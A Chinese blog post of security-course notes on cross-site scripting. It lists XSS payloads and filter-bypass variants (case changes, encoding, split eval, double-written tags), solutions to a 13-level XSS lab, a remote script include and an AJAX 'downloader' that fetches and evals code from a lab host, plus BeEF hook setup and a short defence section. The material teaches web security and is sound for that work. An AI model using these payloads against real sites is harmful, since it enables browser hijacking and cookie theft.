[网络安全学习篇57]:XSS(二)

引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足;对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以我就想到了通过写博客(课程笔记)的形式去学习它,虽然写博客会让我多花几倍的时间去学习它,但是当我完成一篇博客所获得的成就感和你们对于我的认同感,让我很满足,能够鼓励我一天天的坚持下去,也希望和我一起学习本期视频的"同道"们也能给一直坚持下去。我们大家一起加油。由于作者本身也是网络信息安全小白,大部分知识点都是初次接触,出现对其理解不深入,不完整,甚至也会出现错误有问题的地方,希望大家谅解、留言提出指正,同时也欢迎大家来找我一起交流学习!!!

 

往期博客:

第一阶段:

[网络安全学习篇1]:windowsxp、windows2003、windows7、windows2008系统部署(千峰网络安全视频笔记)

[网络安全学习篇24]:漏洞与木马(千峰网络安全视频笔记 p117-p118)

第二阶段:

[网络安全学习篇25]:初识Linux及简单命令

[网络安全学习篇32]:Linux脚本编写汇总及应用

第三阶段:

[网络安全学习篇33]:0基础带你入门python

[网络安全学习篇38]:基础环境搭建

[网络安全学习篇39]:HTML标签基础 常用的标签 表格

[网络安全学习篇42]:靶场环境搭建(ubuntu系统安装优化及vulhub安装)

[网络安全学习篇43]:PHP基础+变量 运算符 流程控制语句

[网络安全学习篇48]:JS 基础 函数 事件

第四阶段:

[网络安全学习篇49]:渗透测试方法论

[网络安全学习篇50]:Web架构安全分析

[网络安全学习篇51]:信息收集

[网络安全学习篇52]:扫描技术

[网络安全学习篇53]:口令破解

[网络安全学习篇54]:SQL注入

[网络安全学习篇55]:SQL自动化注入

[网络安全学习篇56]:XSS

[网络安全学学习篇57]:XSS(二)(本篇)

下期博文:

[网络安全学习篇58]:PHP代码注入

 

目录

XSS

XSS 的构造

*利用[<>]构造HTML/JS

*伪协议

*产生自己的事件

*利用CSS  跨站(old)

*其他标签及手法(HTML5)

XSS 的变形

*大小写转换

 

*引号的使用

*[/]代替空格

*回车

 

*对标签属性值进行转码

*拆分跨站

*双写绕过

Shellcode 的调用

*远程调用JS

*windows.location.hash

*XSS Downloader

*备选存储技术

XSS 通关挑战

XSS 的防御

*使用XSS Filter

@ 输入过滤

@ 输出编码

@ 黑白名单

*防御DOM-XSS

beef

XSS的利用

1、浏览器劫持

2、Cookie 窃取与欺骗--固定会话攻击

3、利用浏览器漏洞getshell

4、XSS平台


XSS

XSS 的构造

*利用[<>]构造HTML/JS

利用[<>]构造HTML标签和<script> 标签

在测试页面提交参数[<h1 style='color:red'>利用[<>]构造HTML/JS</h1>]

提交[<script>alert(/XSS/)</script>]

 

*伪协议

亦可以使用JavaScript:伪协议的方式构造XSS

[javascript:alert(/XSS/)]

提交参数[<a href="javascript:alert(/XSS/)">click me!</a>] 点击超链接。即可触发XSS

也可使用img 标签的伪协议,但这种方法只在IE6 下测试成功

[<img src="javascript:alert(/XSS/)">]

 

*产生自己的事件

“事件驱动”是一种比较经典的编程思想。在网页中会发生很多事件(比如鼠标移动,键盘输入等),JS可以对这些事件进行响应,所以我通过事件触发JS函数,进而触发XSS

 

Windows事件

Windows 对象触发的事件

Form事件

HTML 表单内的动作触发事件

Keyboard事件

键盘按键

Mouse事件

由鼠标或类似用户动作触发的事件

Media事件

由多媒体触发的事件

 

如:[<img src='./simle.jpg'  οnmοuseοver='alert(/XSS/)'>]

这个标签会引入一个图片,然后鼠标悬停在图片上的时候,会触发XSS代码

 

单行文本框的键盘点击事件,

[<input type="text" onekeydown="alert(/XSS/)">] 当点击键盘任意一个按键时触发

[<input type="text" onekeyup="alert(/XSS/)">]

[<input type="button" οnclick="alert(/XSS/)">]

<img scr='./simle.jpg' οnmοuseοver='alert(/XSS/)'>

<img scr='#' οnerrοr='alert(/XSS/)'>

 

*利用CSS  跨站(old

方法比较古老,在这里就不做介绍

 

*其他标签及手法(HTML5

我们可以用其他标签触发XSS。

[<svg οnlοad="alert(/XSS/)">]

[<input οnfοcus=alert(/XSS/) autofocus>]      focus:聚焦

 

XSS 的变形

我们可以构造的XSS 代码进行各种变形,以绕过XSS 过滤器的检测。变形方式主要以下几种

*大小写转换

可以将payload 进行大小写转换,如下

<Img sRc='#' Onerror="alert(/XSS/)" />

<a HrEF="javaScript:alert(/XSS/)">click me</a>

 

*引号的使用

HTML 语言中对引号的使用不敏感,但是某些过滤函数是“锱铢必较”。

< img  src="#" οnerrοr="alert(/XSS/)" />

< img  src='#' οnerrοr='alert(/XSS/)' />

< img  src=# οnerrοr=alert(/XSS/) />

 

*[/]代替空格

可以利用左斜线代替空格

<Img/sRc='#'/Onerror="alert(/XSS/)" />

 

*回车

我们可以在一些位置添加Tab(水平制表符)和回车符,来绕过关键字检测。

<a HrEF="j
a    v
a    S
c    r
i    p
t    :
alert(/XSS/)">click me</a>

 

*对标签属性值进行转码

可以对标签属性值进行转码,用来绕过过滤。对于编码如下:

字母

ASCII码

十进制编码

十六进制编码

a   97   &#97; &#x61;

e   101  &#101;   &#x65;

经过简单编码之后的样子。

<A hREF="j&#97;v&#x61;script:alert(/XSS/)">click me !</a>

 

Tab         &#9

换行   &#10

回车   &#13

可以将以下字符串插入到头部位置

SOH      &#01

STX       &#02

经过编码后的

<A hReF="&#01;j&#97;v&#x61;s&#9;c&#10;r&#13;ipt:alert(/xss/)">

click me!

</a>

 

*拆分跨站

<script>z='alert'</script>

<script>z=z+'(/xss/)'</script>

<script>eval(z)</script>

 

*双写绕过

<script>

<scr<script>ipt>

 

Shellcode 的调用

Shellcode 就是利用漏洞所指向的代码。

完整的XSS 攻击,会将Shellcode 存放在一定的地方,然后触发漏洞,调用Shellcode

 

*远程调用JS

可以将JS 代码单独存放在一个JS 文件中,然后通过HTTP 协议远程加载该脚本。如:

<script src="http://172.16.132.138/XSS-TEST/normal/xss.js"></script>

这是比较常用的方式。xss.js 的内容如下

alert('xss.js');

 

*windows.location.hash

我们也可以使用js 中的windows.location.hash 方法获取浏览器URL 地址栏的XSS代码。

windows.location.hash 会获取URL #后面的内容,例如[http://domain.com/index.php#GGG],windows.location.hash的值是[#GGG].

所以我们可以如下构造代码[?submit=submit&&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/This is windows.location.hash/)],直接提交到测试页面xss.php.

 

*XSS Downloader

XSS 下载器就是将XSS 代码写在网页中,然后通过AJAX技术,取得网页中的XSS 代码

在使用XSS Downloader 之前需要一个我们自己的页面,xss_downloader.php,内容如下

--------------------------------

~~~~~~BOF|alert(/XSS/)|EOF~~~~~~

--------------------------------

常见的下载器

--------------------------------

<script>

function XSS(){

if (window.XMLHttpRequest){

a=new XMLHttpRequest();

}else if (window.ActiveXObject){

a=new ActiveXObject("Microsoft.XMLHTTP");

}else{ return;}

a.open('get','http://192.168.1.200/XSS-TEST/normal/xss_downloader.php',false);

a.send();

b=a.reponseText;

eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))))

}

XSS();

</script>

--------------------------------

AJAX技术会受到浏览器同源策略的限制,为了解决这个问题,我们需要在服务器端添加如下内容。

--------------------------------

<?php

header('Access-Control-Allow-Origin:*');

header('Access-Control-Allow-Headers:Origin,X-Requested-With,Content-Type,Accept');

?>

---------------------------------------------------

*备选存储技术

我们可以把Shellcode 存储在客户端的本地域中,比如:HTTP Cookie、Flash 共享对象、UserData、locationStorage 等。我们以HTTP Cookie 为例子。

点击Cookie-XSS 验证,运行JS 恶意代码。

 

XSS 通关挑战

靶场源码:

网盘链接      提取码:f6jz

测试:<script " ' OOnn>

[01]

<script>alert(/xss/)</script>

[02]

"><img src="#" οnerrοr=alert(/xss/)>

[03]

' οnmοuseοver='alert(/xss/)

[04]

" οnmοuseοver="alert(/xss/)

[05]

"><a href="javascript:alert(/xss/)">click me!</a>

[06]

" Onmouseover="alert(/xss/)

"><a hREf="javascript:alert(/xss/)">click me!</a>

[07]

" oONnmouseover="alert(/xss/)

[08]

javasc&#82;ipt:alert(/xss/)

[09]

javasc&#82;ipt:alert('http://')

[10]

click me!" type="button" οnclick="alert(/xss/)

[level10.php?t_sort=click%20me!"%20type="button"%20οnclick="alert(/xss/)]

[11]

Referer:click me!" type="button" οnclick="alert(/xss/)

[12]

User-Agent: click me!" type="button" οnclick="alert(/xss/)

[13]

Cookie: user=click me!" type="button" οnclick="alert(/xss/)

 

 

XSS 的防御

*使用XSS Filter

XSS Filter 的作用是过滤用户(客户端)提交的有害信息,从而达到防范XSS 攻击的效果。

@ 输入过滤

“永远不要相信用户的输入”是网站开发的基本常识,对于用户的输入一定要过滤,过滤,再过滤。

·输入验证

简单的说,输入验证就是对用户提交的信息进行有效的验证,仅接受指定长度范围内的,采用适当格式的内容提交,阻止或忽略除此之外的其他任何数据

输入是否包含合法字符

输入字符串是否超过最大长度限制

输入如果是数字,数字是否再指定范围之内

输入是否符合特殊格式要求,如E-mail 地址、IP 地址等

·数据消毒

过滤和净化掉有害的输入

@ 输出编码

HTML 编码主要用对应的HTML 实体代替字符

@ 黑白名单

不管采用输入过滤还是输出编码,都是针对数据信息进行黑|白名单式的过滤

黑名单,非允许数据。

白名单,允许的数据。

 

*防御DOM-XSS

避免客户端文档的重写、重定向或其他敏感操作。

 

beef

XSS神器

XSS漏洞的利用平台

beef 的启动

工具目录   /usr/share/beef-xss

配置文件   config.yaml

启动beef 工具的方法

1、beef-xss

2、/usr/share/beef-xss/beef

需要修改配置文件中的默认用户名和密码

Web 界面管理控制台

http://192.168.1.150:3000/ui/panel

Shellcode

http://192.168.1.150:3000/hook.js

测试页面

http://192.168.1.150:3000/demos/butcher/index.html

 

XSS的利用

1、浏览器劫持

2、Cookie 窃取与欺骗--固定会话攻击

data:cookie="username=admin"; userid=1

------------------

document.cookie="username=admin";

document.cookie="userid=1";

------------------

3、利用浏览器漏洞getshell

msf

msf10002   xp

msf12063   win7

4、XSS平台

XSS盲打

xsspt.com

 


参考文献:

千峰网络信息安全开源课程

 

  • 5
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

beglage

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值